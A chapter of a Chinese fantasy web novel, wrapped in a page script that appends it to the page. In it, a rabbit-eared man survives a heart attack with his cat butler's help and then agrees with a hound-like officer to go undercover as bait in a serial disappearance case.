$(''#content'').append('' 却还是很快跟着梅尔的声音,艰难地呼吸起来。 此时的莱安也没闲着,他迅速根据梅尔的指示,取出了藏在雪茸手杖里的急救药丸,喂进他的口中。 可药丸刚放入口中,又一阵反胃感夹杂着头晕目眩席卷上来。 雪茸爱干净,一有反应立刻趔趔趄趄地起身,慌忙跌撞到墙角干呕起来。 但他什么也没吐出来,只是喉咙被彻底封住,那颗药丸怎么都吞不下去。 恶心反胃、喘不上气、心口刺痛、全身无力,雪茸难受得不停流眼泪,梅尔便又不知从哪变出一小瓶香,打开瓶盖递到他的鼻尖让其闻嗅。 瓶子里的精油很香,莱安忍不住跟着闻了闻,应该是橙花,可以起到抗焦虑、缓解心悸的效果。 很快,经过梅尔一顿多管齐下的急救,雪茸终于吞下了那粒急救药丸,症状便非常明显快速地消失了。 眼看着刚才几乎被死神掐住脖子的人,此时满头大汗地躺在床上放空,莱安长松了一口气,也跟着险些虚脱了。 倒是梅尔始终冷静镇定,动作之娴熟让莱安不禁怀疑这样的事情究竟已经发生过了多少回。 要知道,在医疗条件极其不发达的韦斯特大陆上,像雪茸这样的心脏病人,几乎鲜有能活到成年的,就连莱安这样的贵族家庭,遇到了这样的疾病,能活到几时也只能是听天由命。 而眼下,这小小的药丸已经当着自己的面,救过了雪茸两回——这不应当是巧合,莱安忍不住心想,这药大抵是真能治病。 在莱安的世界观被冲击的时候,空闲下来的梅尔终于开始了他的每日思想教育—— “别再接近那个家伙了。”这次,他的语气听起来有些恼火,似乎是真的生气了,“不要拿自己的命开玩笑。” 雪茸整个人还晕晕乎乎的,根本听不进他说些什么,只是难受地摇摇头,紧闭着眼睛,把脑袋埋进被子里。 梅尔知道他又在无声地坐着反抗,只能无奈地捏着眉心,坐在一旁叹气。 莱安在一旁抱着OO,静静观察着俩人——梅尔看上去不过比雪茸大个五六岁的模样,却总给人一种长辈的成熟感,与其说他是雪茸的仆人管家,倒不如说,更像是一人当起了雪茸那操心的爹妈。 那他们的父母呢?生活在健全家庭的莱安忍不住发问。 就在他胡思乱想的时候,房间的门被敲响了。刚刚还魂不守舍、半死不活的雪茸几乎是在一瞬间弹射坐起,但下一秒,就在梅尔警告的手指下,又乖乖躺回被窝。 等雪茸盖好被子挡住脸,梅尔才整理好衣服,将门拉开一个小缝。 被他猜对了,门口便是那只高大的、冰冷的、叫人看着就讨厌的猎犬。 梅尔冷下脸,对他完全没有什么好颜色:“什么事?” 而对面的人只是看了他一眼,目光便径直越了过去,把“不是找你”明晃晃地写在了脸上。 “叫兔子出来。”闻玉的语气平淡而松散,目光穿过门缝,直直盯向梅尔身后的房间—— “我们谈谈合作。” 23.目光女神023 闻玉白虽然态度懒散松弛,但这人天生的物种优势,注定了他站在原地,都足够将人压得喘不过气来。 猫狗也是生性不合的物种,梅尔忍不住咬紧牙关,悄悄调整好呼吸,才冷冷开口:“他现在不方便。” 身后被窝里的雪茸立刻不干了,露出两个兔耳朵,小声抗议道:“方便……” “我说不方便就不方便!” 难得的,梅尔露出了完全不容反抗的严厉,一声低吼让莱安仿佛看到猫科动物尖锐的獠牙,也吓得雪茸乖乖缩回了被子里。 只有闻玉白饶有兴趣地环抱起双臂,不冷不热地调侃道:“他多大?方不方便还得别人替他作主?” 梅尔完全没有理会他的嘲讽,转身就要关门。 闻玉白直接伸手挡在门前,表情也冷下来:“我不是来征求你们的意见的。” 他的力气在绝对意义上碾压梅尔,但他也没有直接将门大开,只是稳住了那条细缝,不给梅尔关上门的空间。 “他自己心里也比谁都清楚,说好听点这叫‘合作’,本质上,这是我给他的一次机会。”闻玉白冷冷地盯着门缝看着,“我还有别的选择,但他没有。” 梅尔似乎明白了什么,微微蹙眉向身后看了一眼。雪茸没有反驳,那话便大抵就是真的。 虽然不知道他们刚刚到底谈判了什么,但梅尔还是选择了让步:“今晚不行,他要休息。” “行。”闻玉白轻轻扬起眉尾,同意宽限一晚,“但是我得提醒一句,耽搁得越久,失踪者们可就越危险。” 这话兴许对别人有一定的道德绑架效果,但梅尔是个没有心的,直接“砰”地摔上门,末了还愤愤地骂了一句:“别人是死是活关我屁事!” 看得出来,梅尔这回是真的生气了。莱安很有眼力见地给他倒了杯茶——跟着逃难这么多天,不食人间烟火的小少爷,也不得不学会看人眼色行事。 好在梅尔没有迁怒于他们,而是两口闷掉了莱安泡的茶,转而就去照顾雪茸了。 事实便是,雪茸不得不暂歇一晚,休养生息。和上一次接触那猎犬一样,心脏病发之后,他整个人又开始发烧虚脱,精神状态非常差,连下床走路的力气都没有。 看梅尔欲言又止的样子,莱安以为他又要开始教育雪茸,但没想到,他只是有些无奈地问:“明天,能不能确保自己的安全?” 雪茸被烧得微微泛红的耳尖抖了抖,虚弱道:“能。” 见梅尔沉默,他便艰难地翻了个身,面向梅尔认真说:“猎犬现阶段不会对我动手,至于心脏的问题,下次跟他接触之前,我可以试着提前吃药。” 大约是习惯了他不正经地说话,偶尔这么认真,让莱安觉得瞬间可靠到不容置疑。 梅尔也没有问他具体的计划内容,只是几不可闻地叹了口气,才说:“不要逞强,我们随时接应你。” 得到了梅尔的体谅与理解,雪茸的表情也放松下来。 他缓缓抬起右手,握起拳悬在半空,梅尔见状,也无奈地伸出右手,轻轻跟他碰了个拳。 像是某种心照不宣的仪式。 经过一夜的休息,雪茸的总算是退了烧,虽然看上去还是有些疲态,但总体还是恢复了。 梅尔帮他画好妆、戴好假发,又给他的胸前别了一朵小雏菊,这才拍拍他的肩。 莱安好奇地问:“这个雏菊……有什么特别的含义吗?” 梅尔犹豫了一下,没等他开口说话,雪茸就笑了笑,替他回答:“你就当这是小猫的祝福吧。” 雪茸是被梅尔亲手送到闻玉白的门口了,那靠谱的猫管家自始至终沉默地盯着闻玉白,即便是一言不发,也能感觉到他的全身写满了“警告”。 “放心,我说话算话。”闻玉白皮笑肉不笑地看着雪茸,“既然说好了合作,就暂时不会对你怎么样的。” 他刻意咬重了“暂时”两个字,话外之音大家都听得懂。 梅尔眼睁睁地看着闻玉白把雪茸拐进房间里,眼睁睁看着那大高个儿头也不回地关上门,把自己和莱安锁在门外,周身的气温跌到了冰点。 “哥,你要不要休息一下……”莱安小心翼翼地问。 “不用。”梅尔道,“你回去吧,我在这儿守着。” 说完,便化成了黑猫的形态,蜷缩在了房间门口。 一门之隔的屋内。 闻玉白的临时房间整洁得没有一丝活人气,就连床单上都没有一根皱褶,真是打破了雪茸对“狗窝”的固有认知。 见这人漫无目的地瞎瞄,闻玉白伸手,从桌子下抽出一把椅子,强迫他坐下,然后朝门外扬扬下巴:“你家那只猫,看你倒是看得挺严实的。” 雪茸端端正正地坐在椅子上,乖巧地笑道:“是啊,毕竟我总爱给他添乱。” 在没有恶意释放信息素的情况下,两个人还勉强能和对方共处一室。但雪茸还是当着闻玉白的面,明目张胆地从口袋里拿出了遮掩气息的香水,给自己的全身腌制了一遍。 香水里有猎犬害怕闻的柑橘,虽然闻玉白早已经通过了脱敏训练,但他还是忍不住皱起眉头:“没必要,你的气味是藏不住的。” “闻长官的神通,我当然比谁都清楚。”雪茸弯弯眼睛,慢条斯理地把香水收了回去,“我也没想藏着,只不过是怕长官你一个把持不住,对我动歪心思罢了。” 接着,他的目光便移上了闻玉白的手,那双因为某些原因绑上了绷带的手。 那手微微一顿,下意识握拳,接着便也丝毫不愿占下风地威吓道:“那就别挑衅我。” 合作的开头并不愉快,但雪茸丝毫不受影响,他起身,站在了更衣镜前,打量着这张经过梅尔仔细雕琢的少女的脸,身后,闻玉白也正冷冷盯着他望着。 “开始吧长官。”雪茸骤然转身,正对上他的目光,“透露些我能知道的案情。” 闻玉白显然也是做足了准备,直接从抽屉里拿出一沓子卷宗,摆在他的面前:“目前为止的失踪人口名单。” 雪茸没接他的话茬,反倒是调侃起来:“猎犬居然还会识字,闻长官真是跟我一个接一个地惊喜。” 在闻玉白骤然腾起杀意的目光下,雪茸气定神闲地翻阅起了手里的卷宗。 “嗯,看来被我说对了,二十岁上下、女性性/工作者、拥有漂亮好看的眼睛、行踪不定、习惯夜间单独出行。”雪茸说,“不过数量比我想象中还要大很多。” “是的,这就是问题的关键。”闻玉白把卷宗翻到第一页,“目前可以追溯到的、可能与连环失踪案相关的第一起案件发生至今,一年半的时间内,已经有上百人失踪,但是至今为止,只发现了一具尸体。” “不管是绑架还是谋杀,这么多人都很难处理啊。”雪茸微微睁大眼睛,“您的鼻子这么厉害,难道就没有试试去找找什么线索吗?比如闻闻她们的气味什么的?” “不用你教我做事。”闻玉白不客气地回怼道,“昨天一夜都在忙这个,但人太多、时间跨度太久,除了失踪前频繁活动、人员集中的车厘街有气味残留之外,就没有什么头绪了。” 虽然嘴上凶得很,但还是很耐心地解答了自己的问题,雪茸满意地点点头,又摸了摸下巴:“难道说,受害人都被运到了外地?那可就难办了。” “目前不能确定,但也有好消息。”闻玉白说,“昨晚加急联系了附近几个镇子,并没有足够数量的类似女性|性工作者失踪的案例,也就是说,至少可以判断,凶手是固定在埃城作案的。” 受害者无影无踪,但凶手倒是有迹可循,这倒是至少让案件的侦破有了头绪。 雪茸:“作案频率呢?有没有什么规律?” 闻玉白:“失踪案件的具体案发时间很难界定,但可以判断的是,在之前的一年半内,平均一周左右出现一起案件,但是近一周案发比较频繁,差不多隔一日出现一起。” 雪茸沉默了片刻,道:“从刚刚开始,我就有个疑问 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很显然,闻玉白也对他们的沟通效率感到满意。雪茸对此有所察觉,毫不避讳地摊开手:“太遗憾了,如果不是闻长官对我另有企图,我想我们将会是不错的搭档。” 闻玉白用神情表达了他的嗤之以鼻,却也并没有开口反驳什么。 “我还是得提醒你一句,不要太得意忘形。”闻玉白从他面前收走卷宗,“你只是个诱饵,现在努力争取一个戴罪立功罢了。” 说到底,雪茸的身份不干净,闻玉白对他也是明目张胆地设防。他精心过滤出了一些信息,精准透露给了雪茸,最大化确保他对自己的任务有所了解的同时,也触碰不到案件的核心。 雪茸耸耸肩,表示并无所谓:“只要长官你说到做到,这次放我一马,我保证恪尽职守,做好份内的工作,绝不多管闲事。” 终于聊到了核心问题,闻玉白展开了一张卷纸——这是一面连夜绘制的车厘街地图。 这条街呈东西走向,总长度接近一英里,横穿圣教堂大街,两侧分布着夜市、居民住所和教堂,是一条人流量极大、长度很长的街区。 但闻玉白在地图上做好了标记,在圣教堂大街与车厘街交口处的附近,有密密麻麻很多标记。 “我派人统计了失踪人员的主要活动点位,这个十字路口处,应该算是失踪案高发区。”闻玉白在那里画了个圈,“稍后我会派人找一家合适的一家JI院,和老板沟通一下,将你安插进去,具体的方案我马上……” “具体的方案不用你们操心,我自己来。”雪茸忽然抬起手杖轻轻打断了他的话,“包括联系JI院,也不用你们操心了。” 见闻玉白的眼神狐疑起来,雪茸直白道:“我不相信所有的本地人,包括所谓的JI院老板,以及你临时组建起来的班子。” 他的担心不无道理,闻玉白也考虑到了这一层,毕竟一个地方大量出现失踪案件,很难想象没有本地人的包庇和运作。 于是闻玉白眯了眯眼,问:“你有计划?” 雪茸笑起来,看着他的眼睛:“有,又没有。” 还没等闻玉白动怒,雪茸便站起身,撑着拐棍慢慢踱起步来:“我的计划只有三条。” “第一,我假扮身份的事情,天知地知,你知我知。” “第二,所有的行动,都交给我自由发挥。” 闻玉白冷笑一声:“这不叫计划,这叫讲条件。” 雪茸没有理会,而是慢慢走到闻玉白的面前,走得近、又更近: “第三,闻长官也要参与进来,确保我的行动顺利,保障我的人身安全。” 闻玉白下意识跟他保持距离,却一不小心被人逼到了墙边。 他紧紧皱起眉,却没推开面前的人:“我肯定会带人守着,一有动静立刻行动。” “我当然不是这个意思。”雪茸抬头,鼻尖快贴到那冰冷的口笼上,又一次狡猾地将自己诱人的猎物气息递到人的唇边,“我是说,我演JI女,你演PIAO客。” “怎么样?我亲爱的客人?”